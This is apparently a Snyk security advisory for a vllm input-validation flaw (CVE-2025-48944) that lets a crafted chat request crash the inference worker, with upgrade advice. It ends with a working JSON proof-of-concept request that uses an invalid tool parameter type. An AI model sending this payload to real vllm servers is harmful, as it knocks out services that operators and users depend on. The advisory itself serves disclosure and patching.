Improper Input Validation Affecting vllm package, versions [0.8.0, 0.9.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-VLLM-10300825
- published4 Jun 2025
- disclosed30 May 2025
- creditUnknown
Introduced: 30 May 2025
CVE-2025-48944 (opens in a new tab)How to fix?
Upgrade vllm to version 0.9.0 or higher.
Overview
vllm is an A high-throughput and memory-efficient inference and serving engine for LLMs
Affected versions of this package are vulnerable to Improper Input Validation in the pattern and type fields. An attacker can cause a crash of the inference worker by sending inputs containing unexpected values.
PoC
{
"model": "mistral-nemo-instruct",
"messages": [{ "role": "user", "content": "crash via type" }],
"tools": [
{
"type": "function",
"function": {
"name": "crash01",
"parameters": {
"type": "object",
"properties": {
"a": {
"type": "something"
}
}
}
}
}
],
"tool_choice": {
"type": "function",
"function": {
"name": "crash01",
"arguments": { "a": "test" }
}
},
"stream": false,
"max_tokens": 1
}